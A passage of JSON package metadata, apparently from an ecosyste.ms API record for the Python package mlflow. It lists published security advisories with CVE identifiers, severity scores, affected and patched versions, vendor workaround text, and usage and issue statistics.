API.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-05T09:33:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-43472","https://www.contrastsecurity.com/security-influencers/discovering-mlflow-framework-zero-day-vulnerability-machine-language-model-security-contrast-security","https://mlflow.org/news/2023/12/06/2.9.0-release/index.html","https://github.com/advisories/GHSA-wqxf-447m-6f5f"],"source_kind":"github","identifiers":["GHSA-wqxf-447m-6f5f","CVE-2023-43472"],"repository_url":null,"blast_radius":0.0,"created_at":"2023-12-11T22:05:57.583Z","updated_at":"2026-10-10T09:15:53.626Z","epss_percentage":0.36582,"epss_percentile":0.98298,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cXhmLTQ0N20tNmY1Zs4AA3kN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cXhmLTQ0N20tNmY1Zs4AA3kN","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.0","vulnerable_version_range":"\u003c 2.9.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cXhmLTQ0N20tNmY1Zs4AA3kN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cXE1LW14eHgtbTZnZ84AA3Oh","url":"https://github.com/advisories/GHSA-4qq5-mxxx-m6gg","title":"MLflow authentication requirement bypass can allow a user to arbitrarily create an account","description":"An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirement.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-11-16T21:30:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6014","https://huntr.com/bounties/3e64df69-ddc2-463e-9809-d07c24dc1de4","https://github.com/mlflow/mlflow/issues/9669","https://github.com/mlflow/mlflow/pull/9700","https://github.com/mlflow/mlflow/commit/32de2154ef9f946160e5dc01a4d8a449dd0bd259","https://github.com/mlflow/mlflow/releases/tag/v2.8.0","https://github.com/advisories/GHSA-4qq5-mxxx-m6gg"],"source_kind":"github","identifiers":["GHSA-4qq5-mxxx-m6gg","CVE-2023-6014"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-11-17T23:05:53.381Z","updated_at":"2026-10-10T09:14:35.780Z","epss_percentage":0.01167,"epss_percentile":0.65957,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cXE1LW14eHgtbTZnZ84AA3Oh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cXE1LW14eHgtbTZnZ84AA3Oh","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.8.0","vulnerable_version_range":"\u003c 2.8.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cXE1LW14eHgtbTZnZ84AA3Oh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNzk4LXFtNHItMjNyNc4AA3ON","url":"https://github.com/advisories/GHSA-f798-qm4r-23r5","title":"MLflow allowed arbitrary files to be PUT onto the server","description":"MLflow allowed arbitrary files to be PUT onto the server.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-11-16T18:30:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6015","https://huntr.com/bounties/43e6fb72-676e-4670-a225-15d6836f65d3","https://github.com/mlflow/mlflow/pull/10330","https://github.com/mlflow/mlflow/commit/cf83dad4df26dd4a850622fe8a51ccab1471a5e7","https://github.com/advisories/GHSA-f798-qm4r-23r5"],"source_kind":"github","identifiers":["GHSA-f798-qm4r-23r5","CVE-2023-6015"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-11-16T22:06:07.694Z","updated_at":"2026-10-10T09:16:08.015Z","epss_percentage":0.04444,"epss_percentile":0.90669,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzk4LXFtNHItMjNyNc4AA3ON","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNzk4LXFtNHItMjNyNc4AA3ON","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003c 2.8.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzk4LXFtNHItMjNyNc4AA3ON/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cDNoLTdmd2gtOTJyY84AA3OR","url":"https://github.com/advisories/GHSA-5p3h-7fwh-92rc","title":"Remote Code Execution due to Full Controled File Write in mlflow","description":"The mlflow web server includes tools for tracking experiments, packaging code into reproducible runs, and sharing and deploying models. As this vulnerability allows to write / overwrite any file on the file system, it gives a lot of ways to archive code execution (like overwriting `/home/\u003cuser\u003e/.bashrc`). A malicious user could use this issue to get command execution on the vulnerable machine and get access to data \u0026 models information.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-11-16T18:30:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6018","https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30","https://github.com/mlflow/mlflow/commit/55c72d02380e8db8118595a4fdae7879cb7ac5bd","https://github.com/advisories/GHSA-5p3h-7fwh-92rc"],"source_kind":"github","identifiers":["GHSA-5p3h-7fwh-92rc","CVE-2023-6018"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-11-28T22:05:48.941Z","updated_at":"2026-10-10T09:12:51.969Z","epss_percentage":0.47874,"epss_percentile":0.98771,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cDNoLTdmd2gtOTJyY84AA3OR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cDNoLTdmd2gtOTJyY84AA3OR","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c= 2.8.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cDNoLTdmd2gtOTJyY84AA3OR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZnczLTYzNzgtY3FncM4AA0-f","url":"https://github.com/advisories/GHSA-ffw3-6378-cqgp","title":"mlflow vulnerable to OS Command Injection","description":"OS Command Injection in GitHub repository mlflow/mlflow prior to 2.6.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-08-01T03:31:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-4033","https://github.com/mlflow/mlflow/commit/6dde93758d42455cb90ef324407919ed67668b9b","https://huntr.dev/bounties/5312d6f8-67a5-4607-bd47-5e19966fa321","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-280.yaml","https://github.com/advisories/GHSA-ffw3-6378-cqgp"],"source_kind":"github","identifiers":["GHSA-ffw3-6378-cqgp","CVE-2023-4033"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-08-01T20:03:54.846Z","updated_at":"2026-10-10T09:11:51.264Z","epss_percentage":0.01253,"epss_percentile":0.68546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnczLTYzNzgtY3FncM4AA0-f","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZnczLTYzNzgtY3FncM4AA0-f","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.6.0","vulnerable_version_range":"\u003c 2.6.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnczLTYzNzgtY3FncM4AA0-f/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mbXhqLTZoOWctNnZ3M84AA0y8","url":"https://github.com/advisories/GHSA-fmxj-6h9g-6vw3","title":"MLflow Path Traversal vulnerability","description":"Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-07-19T03:30:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-3765","https://github.com/mlflow/mlflow/commit/6dde93758d42455cb90ef324407919ed67668b9b","https://huntr.dev/bounties/4be5fd63-8a0a-490d-9ee1-f33dc768ed76","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-308.yaml","https://github.com/advisories/GHSA-fmxj-6h9g-6vw3"],"source_kind":"github","identifiers":["GHSA-fmxj-6h9g-6vw3","CVE-2023-3765"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-07-28T06:03:42.562Z","updated_at":"2026-10-10T09:18:43.435Z","epss_percentage":0.6755,"epss_percentile":0.99242,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mbXhqLTZoOWctNnZ3M84AA0y8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mbXhqLTZoOWctNnZ3M84AA0y8","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mbXhqLTZoOWctNnZ3M84AA0y8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13anEzLTdqeHgtd2hqOc4AAzYV","url":"https://github.com/advisories/GHSA-wjq3-7jxx-whj9","title":"mlflow Path Traversal vulnerability","description":"mlflow prior to 2.3.0 is vulnerable to path traversal due to a bypass of the fix for CVE-2023-1177.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-05-17T21:30:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-2780","https://github.com/mlflow/mlflow/commit/fae77a525dd908c56d6204a4cef1c1c75b4e9857","https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-69.yaml","https://github.com/advisories/GHSA-wjq3-7jxx-whj9"],"source_kind":"github","identifiers":["GHSA-wjq3-7jxx-whj9","CVE-2023-2780"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":34.47168179312164,"created_at":"2023-05-18T03:03:15.305Z","updated_at":"2026-10-10T09:12:19.703Z","epss_percentage":0.06363,"epss_percentile":0.9296,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13anEzLTdqeHgtd2hqOc4AAzYV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13anEzLTdqeHgtd2hqOc4AAzYV","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003c 2.3.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13anEzLTdqeHgtd2hqOc4AAzYV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13YzZqLTVnODMteGZtNs4AAzRj","url":"https://github.com/advisories/GHSA-wc6j-5g83-xfm6","title":"mflow vulnerable to directory traversal","description":"A directory traversal vulnerability in the /get-artifact API method of the mlflow platform prior to v2.0.0 allows attackers to read arbitrary files on the server via the path parameter.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-05-11T03:30:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-30172","https://github.com/mlflow/mlflow/issues/7166","https://github.com/mlflow/mlflow/issues/7166#issuecomment-1541543234","https://github.com/mlflow/mlflow/pull/7170","https://github.com/mlflow/mlflow/commit/ac4b697bb0bb8a331944dca63f4235b4bf602ab8","https://github.com/mlflow/mlflow/commits/v2.0.0?after=00c3b0a350a28c25b16fbb7feddb8147a919ce18+69\u0026branch=v2.0.0\u0026qualified_name=refs%2Ftags%2Fv2.0.0","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-70.yaml","https://github.com/advisories/GHSA-wc6j-5g83-xfm6"],"source_kind":"github","identifiers":["GHSA-wc6j-5g83-xfm6","CVE-2023-30172"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-05-11T21:03:21.382Z","updated_at":"2026-10-10T09:19:00.912Z","epss_percentage":0.01005,"epss_percentile":0.61501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13YzZqLTVnODMteGZtNs4AAzRj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13YzZqLTVnODMteGZtNs4AAzRj","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.0.0rc0","vulnerable_version_range":"\u003c 2.0.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13YzZqLTVnODMteGZtNs4AAzRj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04M2ZtLXc3OW0tNjRyNc4AAzCj","url":"https://github.com/advisories/GHSA-83fm-w79m-64r5","title":"Remote file access vulnerability in `mlflow server` and `mlflow ui` CLIs","description":"### Impact\n\nUsers of the MLflow Open Source Project who are hosting the MLflow Model Registry using the ``mlflow server`` or ``mlflow ui`` commands using an MLflow version older than **MLflow 2.3.1** may be vulnerable to a remote file access exploit if they are not limiting who can query their server (for example, by using a cloud VPC, an IP allowlist for inbound requests, or authentication / authorization middleware).\n\nThis issue only affects users and integrations that run the ``mlflow server`` and ``mlflow ui`` commands. Integrations that do not make use of ``mlflow server`` or ``mlflow ui`` are unaffected; for example, the Databricks Managed MLflow product and MLflow on Azure Machine Learning do not make use of these commands and are not impacted by these vulnerabilities in any way.\n\nThe vulnerability is very similar to https://nvd.nist.gov/vuln/detail/CVE-2023-1177, and a separate CVE will be published and updated here shortly.\n\n### Patches\n\nThis vulnerability has been patched in MLflow 2.3.1, which was released to PyPI on April 27th, 2023. If you are using ``mlflow server`` or ``mlflow ui`` with the MLflow Model Registry, we recommend upgrading to MLflow 2.3.1 as soon as possible.\n\n### Workarounds\nIf you are using the MLflow open source ``mlflow server`` or ``mlflow ui`` commands, we strongly recommend limiting who can access your MLflow Model Registry and MLflow Tracking servers using a cloud VPC, an IP allowlist for inbound requests, authentication / authorization middleware, or another access restriction mechanism of your choosing.\n\nIf you are using the MLflow open source ``mlflow server`` or ``mlflow ui`` commands, we also strongly recommend limiting the remote files to which your MLflow Model Registry and MLflow Tracking servers have access. For example, if your MLflow Model Registry or MLflow Tracking server uses cloud-hosted blob storage for MLflow artifacts, make sure to restrict the scope of your server's cloud credentials such that it can only access files and directories related to MLflow.\n\n### References\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-05-01T13:43:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-83fm-w79m-64r5","https://github.com/advisories/GHSA-83fm-w79m-64r5"],"source_kind":"github","identifiers":["GHSA-83fm-w79m-64r5"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-05-01T14:03:17.739Z","updated_at":"2026-10-10T09:19:08.398Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04M2ZtLXc3OW0tNjRyNc4AAzCj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04M2ZtLXc3OW0tNjRyNc4AAzCj","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"\u003c 2.3.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04M2ZtLXc3OW0tNjRyNc4AAzCj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NDIyLTZxaHYtcDI5Z84AAzAd","url":"https://github.com/advisories/GHSA-x422-6qhv-p29g","title":"Relative path traversal in mlflow","description":"Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-04-28T00:30:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-2356","https://github.com/mlflow/mlflow/commit/f73147496e05c09a8b83d95fb4f1bf86696c6342","https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-68.yaml","https://github.com/advisories/GHSA-x422-6qhv-p29g"],"source_kind":"github","identifiers":["GHSA-x422-6qhv-p29g","CVE-2023-2356"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":29.28239636189903,"created_at":"2023-05-01T14:03:17.768Z","updated_at":"2026-10-10T09:12:19.698Z","epss_percentage":0.04153,"epss_percentile":0.90508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NDIyLTZxaHYtcDI5Z84AAzAd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NDIyLTZxaHYtcDI5Z84AAzAd","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"\u003c 2.3.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NDIyLTZxaHYtcDI5Z84AAzAd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cDcyLTdoajktNTI2Nc4AAyUI","url":"https://github.com/advisories/GHSA-wp72-7hj9-5265","title":"Remote file existence check vulnerability in `mlflow server` and `mlflow ui` CLIs","description":"### Impact\n\nUsers of the MLflow Open Source Project who are hosting the MLflow Model Registry using the `mlflow server` or `mlflow ui` commands using an MLflow version older than MLflow 2.2.1 may be vulnerable to a remote file existence check exploit if they are not limiting who can query their server (for example, by using a cloud VPC, an IP allowlist for inbound requests, or authentication / authorization middleware).\n\nThis issue only affects users and integrations that run the `mlflow server` and `mlflow ui` commands. Integrations that do not make use of `mlflow server` or `mlflow ui` are unaffected; for example, the Databricks Managed MLflow product and MLflow on Azure Machine Learning do not make use of these commands and are not impacted by these vulnerabilities in any way.\n\nThe vulnerability detailed in https://nvd.nist.gov/vuln/detail/CVE-2023-1176 enables an actor to check the existence of arbitrary files unrelated to MLflow from the host server, including any files stored in remote locations to which the host server has access.\n\n### Patches\nThis vulnerability has been patched in MLflow 2.2.1, which was released to PyPI on March 2nd, 2023. If you are using `mlflow server` or `mlflow ui` with the MLflow Model Registry, we recommend upgrading to MLflow 2.2.1 as soon as possible.\n\n### Workarounds\nIf you are using the MLflow open source `mlflow server` or `mlflow ui` commands, we strongly recommend limiting who can access your MLflow Model Registry and MLflow Tracking servers using a cloud VPC, an IP allowlist for inbound requests, authentication / authorization middleware, or another access restriction mechanism of your choosing.\n\nIf you are using the MLflow open source `mlflow server` or `mlflow ui` commands, we also strongly recommend limiting the remote files to which your MLflow Model Registry and MLflow Tracking servers have access. For example, if your MLflow Model Registry or MLflow Tracking server uses cloud-hosted blob storage for MLflow artifacts, make sure to restrict the scope of your server's cloud credentials such that it can only access files and directories related to MLflow.\n\n### References\nMore information about the vulnerability is available at https://nvd.nist.gov/vuln/detail/CVE-2023-1176.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-03-24T22:01:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-wp72-7hj9-5265","https://nvd.nist.gov/vuln/detail/CVE-2023-1176","https://github.com/mlflow/mlflow/commit/63ef72aa4334a6473ce7f889573c92fcae0b3c0d","https://huntr.dev/bounties/ae92f814-6a08-435c-8445-eec0ef4f1085","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-28.yaml","https://github.com/advisories/GHSA-wp72-7hj9-5265"],"source_kind":"github","identifiers":["GHSA-wp72-7hj9-5265","CVE-2023-1176"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":17.791835764191813,"created_at":"2023-03-24T23:03:48.788Z","updated_at":"2026-10-10T09:12:19.697Z","epss_percentage":0.00583,"epss_percentile":0.45567,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cDcyLTdoajktNTI2Nc4AAyUI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cDcyLTdoajktNTI2Nc4AAyUI","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003c= 2.2.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cDcyLTdoajktNTI2Nc4AAyUI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ZzczLTk0ZnAtZzQ0Oc4AAyUH","url":"https://github.com/advisories/GHSA-xg73-94fp-g449","title":"mlflow is vulnerable to remote file access in `mlflow server` and `mlflow ui` CLIs","description":"### Impact\n\nUsers of the MLflow Open Source Project who are hosting the MLflow Model Registry using the `mlflow server` or `mlflow ui` commands using an MLflow version older than MLflow 2.2.1 may be vulnerable to a remote file access exploit if they are not limiting who can query their server (for example, by using a cloud VPC, an IP allowlist for inbound requests, or authentication / authorization middleware).\n\nThis issue only affects users and integrations that run the `mlflow server` and `mlflow ui` commands. Integrations that do not make use of `mlflow server` or `mlflow ui` are unaffected; for example, the Databricks Managed MLflow product and MLflow on Azure Machine Learning do not make use of these commands and are not impacted by these vulnerabilities in any way.\n\nThe vulnerability detailed in https://nvd.nist.gov/vuln/detail/CVE-2023-1177 enables an actor to download arbitrary files unrelated to MLflow from the host server, including any files stored in remote locations to which the host server has access.\n\n### Patches\nThis vulnerability has been patched in MLflow 2.2.1, which was released to PyPI on March 2nd, 2023. If you are using `mlflow server` or `mlflow ui` with the MLflow Model Registry, we recommend upgrading to MLflow 2.2.1 as soon as possible.\n\n### Workarounds\nIf you are using the MLflow open source `mlflow server` or `mlflow ui` commands, we strongly recommend limiting who can access your MLflow Model Registry and MLflow Tracking servers using a cloud VPC, an IP allowlist for inbound requests, authentication / authorization middleware, or another access restriction mechanism of your choosing.\n\nIf you are using the MLflow open source `mlflow server` or `mlflow ui` commands, we also strongly recommend limiting the remote files to which your MLflow Model Registry and MLflow Tracking servers have access. For example, if your MLflow Model Registry or MLflow Tracking server uses cloud-hosted blob storage for MLflow artifacts, make sure to restrict the scope of your server's cloud credentials such that it can only access files and directories related to MLflow.\n\n### References\nMore information about the vulnerability is available at https://nvd.nist.gov/vuln/detail/CVE-2023-1177.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-03-24T22:01:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-xg73-94fp-g449","https://nvd.nist.gov/vuln/detail/CVE-2023-1177","https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e","https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28","https://github.com/mlflow/mlflow/pull/7891/commits/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-29.yaml","https://github.com/advisories/GHSA-xg73-94fp-g449"],"source_kind":"github","identifiers":["GHSA-xg73-94fp-g449","CVE-2023-1177"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":34.47168179312164,"created_at":"2023-03-24T23:03:48.798Z","updated_at":"2026-10-10T09:16:37.612Z","epss_percentage":0.6968,"epss_percentile":0.99303,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzczLTk0ZnAtZzQ0Oc4AAyUH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ZzczLTk0ZnAtZzQ0Oc4AAyUH","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003c= 2.2.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzczLTk0ZnAtZzQ0Oc4AAyUH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cWoyLTR2OG0tOHZycc0uPQ","url":"https://github.com/advisories/GHSA-vqj2-4v8m-8vrq","title":"Insecure Temporary File in mlflow","description":"mlflow prior to 1.23.1 contains an insecure temporary file. The insecure function `tempfile.mktemp()` is deprecated and `mkstemp()` should be used instead.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-24T00:00:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0736","https://github.com/mlflow/mlflow/commit/61984e6843d2e59235d82a580c529920cd8f3711","https://huntr.dev/bounties/e5384764-c583-4dec-a1d8-4697f4e12f75","https://github.com/advisories/GHSA-vqj2-4v8m-8vrq","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2022-28.yaml"],"source_kind":"github","identifiers":["GHSA-vqj2-4v8m-8vrq","CVE-2022-0736"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":32.618365567685,"created_at":"2022-12-21T16:12:34.894Z","updated_at":"2026-10-10T09:18:17.064Z","epss_percentage":0.01575,"epss_percentile":0.74519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cWoyLTR2OG0tOHZycc0uPQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cWoyLTR2OG0tOHZycc0uPQ","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"1.23.1","vulnerable_version_range":"\u003c 1.23.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cWoyLTR2OG0tOHZycc0uPQ/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/mlflow","docker_dependents_count":458,"docker_downloads_count":24823885,"usage_url":"https://repos.ecosyste.ms/usage/pypi/mlflow","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/mlflow/dependencies","status":null,"funding_links":[],"critical":false,"issue_metadata":{"last_synced_at":"2026-10-05T21:00:20.025Z","issues_count":2134,"pull_requests_count":10689,"avg_time_to_close_issue":17273900.529801324,"avg_time_to_close_pull_request":686782.6286794181,"issues_closed_count":1055,"pull_requests_closed_count":8729,"pull_request_authors_count":692,"issue_authors_count":1379,"avg_comments_per_issue":3.338800374882849,"avg_comments_per_pull_request":1.7202731780334923,"merged_pull_requests_count":7262,"bot_issues_count":1,"bot_pull_requests_count":230,"past_year_issues_count":188,"past_year_pull_requests_count":661,"past_year_avg_time_to_close_issue":2541664.9322033897,"past_year_avg_time_to_close_pull_request":659973.3075170843,"past_year_issues_closed_count":59,"past_year_pull_requests_closed_count":439,"past_year_pull_request_authors_count":164,"past_year_issue_authors_count":13